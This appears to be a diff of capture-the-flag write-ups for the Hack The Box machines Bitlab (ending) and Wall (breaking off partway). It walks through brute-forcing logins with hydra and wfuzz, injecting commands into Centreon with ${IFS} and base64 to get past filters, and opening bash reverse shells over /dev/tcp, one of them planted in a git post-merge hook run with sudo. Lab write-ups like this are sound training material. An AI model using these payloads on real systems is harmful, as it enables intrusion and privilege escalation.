Jan 4 2019 config + 4.0K -rw-r--r-- 1 root root 73 Jan 4 2019 description + 4.0K drwxr-xr-x 2 root root 4.0K Jan 4 2019 hooks + 4.0K -rw-r--r-- 1 root root 369 Apr 29 18:58 index + 4.0K drwxr-xr-x 2 root root 4.0K Jan 4 2019 info + 4.0K drwxr-xr-x 3 root root 4.0K Jan 4 2019 logs + 4.0K drwxr-xr-x 31 root root 4.0K Apr 29 18:58 objects + 4.0K -rw-r--r-- 1 root root 114 Jan 4 2019 packed-refs + 4.0K drwxr-xr-x 5 root root 4.0K Jan 4 2019 refs + www-data@bitlab:/var/www/html/profile/.git$ cd hooks + + +Taking a look at the githooks manpage: + + + man githooks + + + +We are hinted towards creating a post-merge hook in this directory, so let's try to do so: + + + + www-data@bitlab:/var/www/html/profile/.git/hooks$ touch post-merge + **touch: cannot touch 'post-merge': Permission denied** + + www-data@bitlab:/var/www/html/profile/.git/hooks$ ls -lash + total 56K + 4.0K drwxr-xr-x 2 **root root** 4.0K Jan 4 2019 . + 4.0K drwxr-xr-x 8 **root root** 4.0K Apr 29 18:58 .. + 4.0K -rwxr-xr-x 1 **root root** 478 Jan 4 2019 applypatch-msg.sample + 4.0K -rwxr-xr-x 1 **root root** 896 Jan 4 2019 commit-msg.sample + 4.0K -rwxr-xr-x 1 **root root** 3.3K Jan 4 2019 fsmonitor-watchman.sample + 4.0K -rwxr-xr-x 1 **root root** 189 Jan 4 2019 post-update.sample + 4.0K -rwxr-xr-x 1 **root root** 424 Jan 4 2019 pre-applypatch.sample + 4.0K -rwxr-xr-x 1 **root root** 1.7K Jan 4 2019 pre-commit.sample + 4.0K -rwxr-xr-x 1 **root root** 1.4K Jan 4 2019 pre-push.sample + 8.0K -rwxr-xr-x 1 **root root** 4.8K Jan 4 2019 pre-rebase.sample + 4.0K -rwxr-xr-x 1 **root root** 544 Jan 4 2019 pre-receive.sample + 4.0K -rwxr-xr-x 1 **root root** 1.5K Jan 4 2019 prepare-commit-msg.sample + 4.0K -rwxr-xr-x 1 **root root** 3.6K Jan 4 2019 update.sample + + +And we get permission denied because everything in this directory is owned by the root user. However we can simply copy the profile folder elsewhere where we have writing access, such as /tmp, For this example we'll use the /dev/shm alternative + + + + www-data@bitlab:/var/www/html/profile/.git/hooks$ cd .. + www-data@bitlab:/var/www/html/profile/.git$ cd .. + www-data@bitlab:/var/www/html/profile$ cd .. + www-data@bitlab:/var/www/html$ mdir /dev/shm/nowhere + bash: mdir: command not found + www-data@bitlab:/var/www/html$ mkdir /dev/shm/nowhere + www-data@bitlab:/var/www/html$ cp -r profile/ /dev/shm/nowhere/ + www-data@bitlab:/var/www/html$ ls -lash /dev/shm + total 0 + 0 drwxrwxrwt 3 root root 60 Apr 29 19:36 . + 0 drwxr-xr-x 19 root root 3.9K Apr 29 08:15 .. + 0 drwxr-xr-x 3 www-data www-data 60 Apr 29 19:36 nowhere + + +And as you can see, since we copied the entire directory recursively it has not been able to preserve the root only writing rights, which means that us (www-data) can write to it. So let's do it: + + + + www-data@bitlab:/var/www/html$ cd /dev/shm/nowhere/ + www-data@bitlab:/dev/shm/nowhere$ cd .git/ + bash: cd: .git/: No such file or directory + www-data@bitlab:/dev/shm/nowhere$ cd profile + www-data@bitlab:/dev/shm/nowhere/profile$ cd .git + www-data@bitlab:/dev/shm/nowhere/profile/.git$ cd hooks/ + www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ touch post-merge + www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ chmod +x touch-merge + chmod: cannot access 'touch-merge': No such file or directory + www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ chmod +x post-merge + www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ vi post-merge + + +And from there we can spawn a shell using vi: + + + #!/bin/bash + + bash -c 'bash -i >& /dev/tcp/10.10.14.11/9002 0>&1' + ~ + ~ + ~ + ~ + ~ + :wq + + +Save it, then execute said git pull to update the repository + + + + www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ vi post-merge + www-data@bitlab:/dev/shm/nowhere/profile$ clearooks$ cd ../.. + www-data@bitlab:/dev/shm/nowhere/profile$ ls + README.md developer.jpg index.php reverse.php + www-data@bitlab:/dev/shm/nowhere/profile$ sudo git pull + Already up to date. + + + +Obviously there's nothing to pull, everything is already up to date, so we need to commit something: + +![](prg/45_020.png) + + + + www-data@bitlab:/dev/shm/nowhere/profile$ sudo git pull + Already up to date. + www-data@bitlab:/dev/shm/nowhere/profile$ cat .git/config + [core] + repositoryformatversion = 0 + filemode = true + bare = false + logallrefupdates = true + [remote "origin"] + url = ssh://git@localhost:3022/root/profile.git + fetch = +refs/heads/*:refs/remotes/origin/* + [branch "master"] + remote = origin + merge = refs/heads/master + + +Looking at the .git/config file we see that it is running a ssh command on port 3022, which means that it doesn't matter if we copy the entire repository in an other directory, whatever has to get pulled will be pulled from the same place. And in this case; git@localhost:3022/root/profile.git So we just have to do a git pull, which will be executed as root, and hopefully we'll have root access on the box. + + + [ 10.10.14.11/23 ] [ /dev/pts/6 ] [~] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.114] 35796 + root@bitlab:/dev/shm/nowhere/profile# id + id + uid=0(root) gid=0(root) groups=0(root) + root@bitlab:/dev/shm/nowhere/profile# cat /home/clave/user.txt + cat /home/clave/user.txt + 1eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + root@bitlab:/dev/shm/nowhere/profile# cat /root/root.txt + cat /root/root.txt + 8dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to print out both the user and the root flags. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/45_graph.png) + diff --git a/Medium/46.md b/Medium/46.md new file mode 100644 index 0000000..837ecaa --- /dev/null +++ b/Medium/46.md @@ -0,0 +1,946 @@ +# Wall Writeup + +![](img/46.png) + +## Introduction : + +Wall is a Medium linux box released back in September 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + + [ 192.168.0.32/24 ] [ /dev/pts/6 ] [~/_HTB/Wall] + → sudo nmap -vvv -sTU -p- 10.10.10.157 --max-retries 0 -Pn --min-rate=1000 | grep Discovered + [sudo] password for nothing: + Discovered open port 80/tcp on 10.10.10.157 + Discovered open port 22/tcp on 10.10.10.157 + + [ 192.168.0.32/24 ] [ /dev/pts/6 ] [~/_HTB/Wall] + → nmap -sCV -p80,22 10.10.10.157 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-29 21:25 BST + Nmap scan report for 10.10.10.157 + Host is up (0.090s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA) + | 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA) + |_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519) + 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: Apache2 Ubuntu Default Page: It works + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 10.52 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/46_001.png) + +As expected, an ubuntu apache2 default page, so let's find which directories are available for us on this webserver using gobuster: + + + + [ 192.168.0.32/24 ] [ /dev/pts/6 ] [~/_HTB/Wall] + → gobuster dir -u http://10.10.10.157 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.157 + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2020/04/29 21:31:24 Starting gobuster + =============================================================== + /monitoring (Status: 401) + =============================================================== + 2020/04/29 21:34:24 Finished + =============================================================== + + + +And we seem to have only found /monitoring which is supposed to get a 401 status code which is an authentification prompt, so let's check it : + +![](prg/46_002.png) + +We can run hydra to bruteforce this authentification request: + + + + [ 10.10.14.2/23 ] [ /dev/pts/5 ] [/usr/share] + → hydra -l admin -P /usr/share/SecLists/Passwords/darkweb2017-top1000.txt -f 10.10.10.157 http-get /monitoring + Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. + + Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-30 14:32:48 + [DATA] max 16 tasks per 1 server, overall 16 tasks, 999 login tries (l:1/p:999), ~63 tries per task + [DATA] attacking http-get://10.10.10.157:80/monitoring + 1 of 1 target completed, 0 valid passwords found + Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-30 14:33:08 + + + +However it doesn't seem to find it, so let's inspect it in burpsuite instead: + +![](prg/46_003.png) + +Intercept the request, send it to the repeater and here we see the 401 status code, However if we do a POST request instead (right click + change request method) we get something interesting: + +![](prg/46_004.png) + +We get a redirection to the /monitoring/ tab which is quite odd, and if we keep switching from GET to POST at some point we sumble upon this particular response: + +![](prg/46_005.png) + +Which hints us towards the /centreon webpage and obviously it's official documentation [changelog](https://docs.centreon.com/docs/centreon/fr/latest/release_notes/): + +![](prg/46_006.png) + +Here we can see that the webserver is running an out of date centreon login page with plenty of possible exploits for us to use, Just by looking through the documentation from it's current version onwards (v. 19.04.0+) we should be able to find interesting things However these are all authenticated vulnerabilities, and therefore they would require credential, but from here we could also run searchsploit to find publicly available exploits for the centreon service: + + + [ 10.10.14.2/23 ] [ /dev/pts/5 ] [/usr/share] + → searchsploit centreon + ------------------------------------------------------------ ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ------------------------------------------------------------ ---------------------------------------- + Centreon - SQL Injection / Command Injection (Metasploit) | exploits/unix/remote/35078.rb + Centreon 1.4.2.3 - 'get_image.php' Remote File Disclosure | exploits/php/webapps/5204.py + Centreon 1.4.2.3 - 'index.php' Local File Inclusion | exploits/php/webapps/31318.txt + **Centreon 19.04 - Remote Code Execution | exploits/php/webapps/47069.py** + Centreon 19.04 - Authenticated Remote Code Execution (Metas | exploits/php/webapps/47948.rb + Centreon 19.10.5 - 'Pollers' Remote Command Execution | exploits/php/webapps/47977.txt + Centreon 19.10.5 - 'Pollers' Remote Command Execution (Meta | exploits/php/webapps/47994.rb + Centreon 19.10.5 - 'centreontrapd' Remote Command Execution | exploits/php/webapps/47978.txt + Centreon 19.10.5 - Database Credentials Disclosure | exploits/php/webapps/47968.txt + Centreon 19.10.5 - Remote Command Execution | exploits/php/webapps/47969.txt + Centreon 2.3.1 - 'command_name' Remote Command Execution | exploits/php/webapps/36293.txt + Centreon 2.5.3 - Remote Command Execution | exploits/php/webapps/39501.txt + Centreon 2.5.3 - Web Useralias Command Execution (Metasploi | exploits/python/remote/40170.rb + Centreon 2.5.4 - Multiple Vulnerabilities | exploits/php/webapps/37528.txt + Centreon 2.6.1 - Multiple Vulnerabilities | exploits/php/webapps/38339.txt + Centreon 2.5.1 / Centreon Enterprise Server 2.2 - SQL I | exploits/linux/webapps/41676.rb + Centreon Enterprise Server 2.3.3 2.3.9-4 - Blind SQL Inje | exploits/php/webapps/23362.py + Centreon IT & Network Monitoring 2.1.5 - SQL Injection | exploits/php/webapps/11979.pl + Oreon 1.4 / Centreon 1.4.1 - Multiple Remote File Inclusion | exploits/php/webapps/4735.txt + ------------------------------------------------------------ ---------------------------------------- + Shellcodes: No Result + + +Here we see a potential candidate which is the RCE python script number 47069: + + + [ 10.10.14.2/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → locate 47069.py + /usr/share/exploitdb/exploits/php/webapps/47069.py + + [ 10.10.14.2/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → cp /usr/share/exploitdb/exploits/php/webapps/47069.py . + + [ 10.10.14.2/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → cat 47069.py | grep Usage + print("[~] Usage : ./centreon-exploit.py url username password ip port") + + +However as you can see here sadly it is also an authenticated exploit requiring the user, password and ip. So our next step is to simply intercept the login request and inspect it inside burpsuite's repeater (CTRL+R and CTRL+Shift+R): + +![](prg/46_007.png) + +Before sending this over to the repeater, we see that the request has a Cross Site Request Forgery token (CSRF token) This is used to prevent cross site forgery attacks not necessarily bruteforcing, To continue here we need to take another look at centreon's [REST API documentation](https://docs.centreon.com/docs/centreon/fr/19.04/api/api_rest/) for the current version 19.04 just like for the [Craft](44.html) box: + +![](prg/46_008.png) + +So looking at this documentation we seem to need the parameters username and password, which we can check using curl: + + + [ 10.10.14.2/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → curl 10.10.10.157/centreon/api/index.php?action=authenticate -d 'username=admin&password;=test' + "Bad credentials" + + +So the form is correct but we have the wrong credentials obviously, we can also check it inside burpsuite using the following request: + + + POST /centreon/api/index.php?action=authenticate HTTP/1.1 + Host: 10.10.10.157 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: http://10.10.10.157/centreon/ + Content-Type: application/x-www-form-urlencoded + Content-Length: 28 + DNT: 1 + Connection: close + Cookie: PHPSESSID=s34ug6hb67uh93f7ud7aellmgs + Upgrade-Insecure-Requests: 1 + + username=admin&password;=test + + + +` ![](prg/46_009.png) + +So as expected we get a 403 saying "Bad Credentials". + + + + + [ 10.10.14.2/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → wfuzz -u http://10.10.10.157/centreon/api/index.php?action=authenticate -d 'username=admin&password;=FUZZ' -w /usr/share/SecLists/Passwords/darkweb2017-top1000.txt + + Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. + + ******************************************************** + * Wfuzz 2.4.5 - The Web Fuzzer * + ******************************************************** + + Target: http://10.10.10.157/centreon/api/index.php?action=authenticate + Total requests: 999 + + =================================================================== + ID Response Lines Word Chars Payload + =================================================================== + + 000000004: 403 0 L 2 W 17 Ch "password" + 000000006: 403 0 L 2 W 17 Ch "abc123" + 000000010: 403 0 L 2 W 17 Ch "123123" + 000000001: 403 0 L 2 W 17 Ch "123456" + 000000003: 403 0 L 2 W 17 Ch "111111" + 000000009: 403 0 L 2 W 17 Ch "1234567" + 000000007: 403 0 L 2 W 17 Ch "12345678" + 000000005: 403 0 L 2 W 17 Ch "qwerty" + 000000002: 403 0 L 2 W 17 Ch "123456789" + 000000008: 200 0 L 1 W 60 Ch "password1" + 000000012: 403 0 L 2 W 17 Ch "000000" + + [...] + + 000000300: 403 0 L 2 W 17 Ch "diamond" + ^C + Finishing pending requests... + + [ 10.10.14.2/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → ^C + + + +So here we get a bunch of 403s so we'll blacklist those using --hc (for hide code) + + + [ 10.10.14.2/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → wfuzz -u http://10.10.10.157/centreon/api/index.php?action=authenticate -d 'username=admin&password;=FUZZ' -w /usr/share/SecLists/Passwords/darkweb2017-top1000.txt --hc 403 + + Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. + + ******************************************************** + * Wfuzz 2.4.5 - The Web Fuzzer * + ******************************************************** + + Target: http://10.10.10.157/centreon/api/index.php?action=authenticate + Total requests: 999 + + =================================================================== + ID Response Lines Word Chars Payload + =================================================================== + + 000000008: 200 0 L 1 W 61 Ch "password1" + + Total time: 10.81323 + Processed Requests: 999 + Filtered Requests: 998 + Requests/sec.: 92.38677 + + + +And we get a match for the username admin and his password "password1", so let's login: + +![](prg/46_010.png) + +So at this point we have credentials, and only now we have alot of exploits we can use, because apparently they are all authenticated exploits, with RCEs in particular, so we'll go for the following CVE-2019-13024 exploit which has an official [python script](https://github.com/mhaskar/CVE-2019-13024/blob/master/Centreon-exploit.py) made by [mhaskar](https://github.com/mhaskar): + + + [ 10.10.14.2/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → curl -sk https://raw.githubusercontent.com/mhaskar/CVE-2019-13024/master/Centreon-exploit.py > mhas + kar_rocks.py + + [ 10.10.14.2/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → nano mhaskar_rocks.py + + +From here we see that the previous 47069.py we found was actually mhaskar's script, however it seems to be outdated, so we'll do it manually: + +![](prg/46_011.png) + +And this is where the RCE is, we can specify any binary we want, to test connectivity we'll try to ping ourselves back. However one thing to note is that the webservice doesn't accept spaces so we have to make sure we do not type in any space otherwise it will error out, so to go around this problem we'll go for the ${IFS} option: + + + [ 10.10.14.8/23 ] [ /dev/pts/3 ] [~] + → echo 'ping -c1 10.10.14.8;' + **ping -c1 10.10.14.8;** + + [ 10.10.14.8/23 ] [ /dev/pts/3 ] [~] + → echo 'ping -c1 10.10.14.8;' | sed 's/ /${IFS}/g' + **ping${IFS}-c1${IFS}10.10.14.8;** + + + +Once we made sure there is no spaces for us to error out, we inject our ping command and check if it worked with tcpdump, so hit save, then export configuration, then hit export and check the tcpdump output: + +![](prg/46_012.png) ![](prg/46_013.png) + + + + [ 10.10.14.8/23 ] [ /dev/pts/3 ] [~] + → sudo tcpdump -i tun0 -n icmp + [sudo] password for nothing: + tcpdump: verbose output suppressed, use -v or -vv for full protocol decode + listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes + 10:20:05.356841 IP 10.10.10.157 > 10.10.14.8: ICMP echo request, id 28117, seq 1, length 64 + 10:20:05.356882 IP 10.10.14.8 > 10.10.10.157: ICMP echo reply, id 28117, seq 1, length 64 + + +And there we see that we have been able to recieve the ping icmp request from the machine. One important thing is that you must not forget the semicolon (;) at the end of the command otherwise the command execution will error out which is preety weird. Regardless we now know that the machine can communicate to us so let's craft our reverse shell payload, so redo the previous steps with the following payload and get a reverse shell through netcat: + + + + [ 10.10.14.8/23 ] [ /dev/pts/3 ] [~] + → echo "bash -c 'bash -i >& /dev/tcp/10.10.14.8/9001 0>&1';" | sed 's/ /${IFS}/g' + bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.10.14.8/9001${IFS}0>&1'; + + + +However for some reason this bash reverse shell seems to contain some characters the webservice doesn't like so let's try to go around it with a simple base64 encoding: + + + [ 10.10.14.8/23 ] [ /dev/pts/3 ] [~] + → echo "bash -c 'bash -i >& /dev/tcp/10.10.14.8/9001 0>&1'" | base64 + YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzkwMDEgMD4mMScK + + [ 10.10.14.8/23 ] [ /dev/pts/3 ] [~] + → echo "echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzkwMDEgMD4mMSc | base64 -d | bash;" | sed 's/ /${IFS}/g' + echo${IFS}YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzkwMDEgMD4mMSc${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash; + + [ 10.10.14.8/23 ] [ /dev/pts/3 ] [~] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.8] from (UNKNOWN) [10.10.10.157] 51708 + bash: cannot set terminal process group (983): Inappropriate ioctl for device + bash: no job control in this shell + www-data@Wall:/usr/local/centreon/www$ id + id + uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon) + www-data@Wall:/usr/local/centreon/www$ which python + which python + /usr/bin/python + + +And we get a reverse shell as www-data ! Like i said, do not forget the semicolon (;) at the end, which can easily be forgotten, so we are logged in as www-data and there is python, so let's upgrade it to a fully-interactive tty shell: + + + + www-data@Wall:/usr/local/centreon/www$ which python + which python + /usr/bin/python + www-data@Wall:/usr/local/centreon/www$ python -c 'import pty;pty.spawn("/bin/bash")' + www-data@Wall:/usr/local/centreon/www$ ^Z + [1]+ Stopped nc -lvnp 9001 + + [ 10.10.14.8/23 ] [ /dev/pts/3 ] [~] + → stty -a | grep colum + speed 38400 baud; rows 45; columns 160; line = 0; + + [ 10.10.14.8/23 ] [ /dev/pts/3 ] [~] + → stty raw -echo + + [ 10.10.14.8/23 ] [ /dev/pts/3 ] [~] + → nc -lvnp 9001 + reset + reset: unknown terminal type unknown + Terminal type? ^C + www-data@Wall:/usr/local/centreon/www$ export SHELL=bash + www-data@Wall:/usr/local/centreon/www$ export TERM=xterm-256color + www-data@Wall:/usr/local/centreon/www$ stty rows 45 columns 160 + + +What we did here was: + + + - Check if python was there, spawn a tty shell with the pty library + - CTRL+Z (^Z) to background the reverse shell process + - stty -a | grep column to know what our current terminal's dimensions are + - stty raw -echo + - then type "fg" to bring back our reverse shell process in the foreground + - type in reset + - escape the "Terminal type?" question prompt + - export both our SHELL and TERM variables + - update our stty shell dimensions with the stty -a dimensions we saw earlier + + +And now with this we have a fully interactive reverse shell that has the correct dimensions, and with tab completion, which makes editing files with vim much easier. So let's try to see where the flag is: + + + + www-data@Wall:/usr/local/centreon/www$ cd /home + + www-data@Wall:/home$ ls -lash + total 16K + 4.0K drwxr-xr-x 4 root root 4.0K Jul 4 2019 . + 4.0K drwxr-xr-x 23 root root 4.0K Jul 4 2019 .. + 4.0K drwxr-xr-x 6 shelby shelby 4.0K Jul 30 2019 shelby + 4.0K drwxr-xr-x 5 sysmonitor sysmonitor 4.0K Jul 6 2019 sysmonitor + + www-data@Wall:/home$ find . -type f + find: './sysmonitor/.gnupg': Permission denied + ./sysmonitor/.wget-hsts + ./sysmonitor/.bash_logout + ./sysmonitor/.bashrc + ./sysmonitor/.profile + find: './sysmonitor/.cache': Permission denied + find: './sysmonitor/.local/share': Permission denied + ./sysmonitor/.sudo_as_admin_successful + find: './shelby/.gnupg': Permission denied + ./shelby/html.zip + ./shelby/.bash_logout + ./shelby/.bashrc + ./shelby/.rpmdb/Group + ./shelby/.rpmdb/__db.001 + ./shelby/.rpmdb/Requirename + ./shelby/.rpmdb/__db.003 + ./shelby/.rpmdb/Transfiletriggername + ./shelby/.rpmdb/Suggestname + ./shelby/.rpmdb/Supplementname + ./shelby/.rpmdb/__db.002 + ./shelby/.rpmdb/Sigmd5 + ./shelby/.rpmdb/Recommendname + ./shelby/.rpmdb/.dbenv.lock + ./shelby/.rpmdb/Filetriggername + ./shelby/.rpmdb/Providename + ./shelby/.rpmdb/Dirnames + ./shelby/.rpmdb/Basenames + ./shelby/.rpmdb/Obsoletename + ./shelby/.rpmdb/Packages + ./shelby/.rpmdb/Sha1header + ./shelby/.rpmdb/Enhancename + ./shelby/.rpmdb/Conflictname + ./shelby/.rpmdb/Triggername + ./shelby/.rpmdb/Name + ./shelby/.rpmdb/Installtid + ./shelby/.profile + find: './shelby/.cache': Permission denied + ./shelby/user.txt + find: './shelby/.local/share': Permission denied + + www-data@Wall:/home$ cd shelby/ + + www-data@Wall:/home/shelby$ ls + html.zip user.txt + + www-data@Wall:/home/shelby$ cat user.txt + cat: user.txt: Permission denied + + +And we see that the flag is located in /home/shelby/user.txt, but we don't have enough permissions to print it, so we need to privesc to the shelby user. + + + + www-data@Wall:/home/shelby$ find . -type f -ls + find: './.gnupg': Permission denied + **400169 8 -rw-rw-r-- 1 shelby shelby 4567 Jul 30 2019 ./html.zip** + 400126 4 -rw-r--r-- 1 shelby shelby 220 Apr 4 2018 ./.bash_logout + 400127 4 -rw-r--r-- 1 shelby shelby 3771 Apr 4 2018 ./.bashrc + 400147 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Group + 400141 124 -rw-r--r-- 1 shelby shelby 270335 Jul 4 2019 ./.rpmdb/__db.001 + 400148 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Requirename + 400143 120 -rw-r--r-- 1 shelby shelby 266239 Jul 4 2019 ./.rpmdb/__db.003 + 400158 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Transfiletriggername + 400160 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Suggestname + 400161 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Supplementname + 400142 72 -rw-r--r-- 1 shelby shelby 73727 Jul 4 2019 ./.rpmdb/__db.002 + 400155 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Sigmd5 + 400159 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Recommendname + 400140 0 -rw-r--r-- 1 shelby shelby 0 Jul 4 2019 ./.rpmdb/.dbenv.lock + 400157 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Filetriggername + 400149 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Providename + 400153 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Dirnames + 400146 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Basenames + 400151 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Obsoletename + 400144 8 -rw-r--r-- 1 shelby shelby 12288 Jul 4 2019 ./.rpmdb/Packages + 400156 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Sha1header + 400162 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Enhancename + 400150 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Conflictname + 400152 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Triggername + 400145 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Name + 400154 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 ./.rpmdb/Installtid + 400128 4 -rw-r--r-- 1 shelby shelby 807 Apr 4 2018 ./.profile + find: './.cache': Permission denied + 400138 4 -rw------- 1 shelby shelby 33 Jul 4 2019 ./user.txt + find: './.local/share': Permission denied + + +Here we have a html.zip file that looks interesting, so let's copy it in a temporary directory such as /tmp or /dev/shm: + + + + www-data@Wall:/home/shelby$ cp html.zip /dev/shm + www-data@Wall:/home/shelby$ file /dev/shm/html.zip && md5sum /dev/shm/html.zip + /dev/shm/html.zip: Zip archive data, at least v1.0 to extract + 5b339f84b6839bd5c445dc968ffe3677 /dev/shm/html.zip + + + www-data@Wall:/home/shelby$ cd /dev/shm/ + + www-data@Wall:/dev/shm$ ls + html.zip + + www-data@Wall:/dev/shm$ unzip html.zip + Archive: html.zip + creating: html/ + extracting: html/aa.php + inflating: html/index.md + inflating: html/panel.php + creating: html/monitoring/ + inflating: html/monitoring/index.md + inflating: html/monitoring/.htaccess + + +The interesting thing here is .htaccess: + + + + www-data@Wall:/dev/shm$ cd html + www-data@Wall:/dev/shm/html$ ls + aa.php index.html monitoring panel.php + + www-data@Wall:/dev/shm/html$ cd monitoring + + www-data@Wall:/dev/shm/html/monitoring$ cat .htaccess + AuthUserFile /etc/.htpasswd + AuthName "Protected area by the admin" + AuthType Basic + <****Limit GET> + require valid-user <****/Limit> + +Here we see why the initial GET/POST request type switching worked, with this Limit GET line, however we are being hinted towards a /etc/.htpasswd so let's see what we can get out of it: + + + www-data@Wall:/dev/shm/html/monitoring$ cat /etc/.htpasswd + admin:$apr1$7hIqRwgr$.QPU0yknBQRTf3WW9jfFp. + + + +And we seem to get a hash, we could try to use hashscat in conjunction with the rockyou.txt wordlist however sadly rockyou.txt doesn't contain the password for that this hash is, so we can consider this a rabbithole. Now from a forensic point of view we can examine shelby's files based on their timestamps, since we know that shelby's last interaction was from somewhere around july 2019. + + + + www-data@Wall:/dev/shm/html/monitoring**$ find / -type f -newermt 2019-07-03 ! -newermt 2019-07-31 -readable -ls 2>/dev/null | grep -v dist-packages** + **275056 4 -rw-r--r-- 1 root root 1168 Jul 30 2019 /opt/.shelby/backup** + 788648 160 -rw-r--r-- 1 root root 163442 Jul 4 2019 /share/man/man1/screen.1 + 788636 96 -rw-r--r-- 1 root root 95776 Jul 4 2019 /share/screen/utf8encodings/19 + 788642 4 -rw-r--r-- 1 root root 68 Jul 4 2019 /share/screen/utf8encodings/c6 + 788637 4 -rw-r--r-- 1 root root 536 Jul 4 2019 /share/screen/utf8encodings/a1 + 788639 4 -rw-r--r-- 1 root root 256 Jul 4 2019 /share/screen/utf8encodings/c2 + 788634 24 -rw-r--r-- 1 root root 24302 Jul 4 2019 /share/screen/utf8encodings/04 + 788632 28 -rw-r--r-- 1 root root 27550 Jul 4 2019 /share/screen/utf8encodings/02 + 788645 4 -rw-r--r-- 1 root root 68 Jul 4 2019 /share/screen/utf8encodings/cc + 788641 4 -rw-r--r-- 1 root root 228 Jul 4 2019 /share/screen/utf8encodings/c4 + 788640 4 -rw-r--r-- 1 root root 140 Jul 4 2019 /share/screen/utf8encodings/c3 + 788647 4 -rw-r--r-- 1 root root 212 Jul 4 2019 /share/screen/utf8encodings/d6 + 788638 4 -rw-r--r-- 1 root root 232 Jul 4 2019 /share/screen/utf8encodings/bf + 788643 4 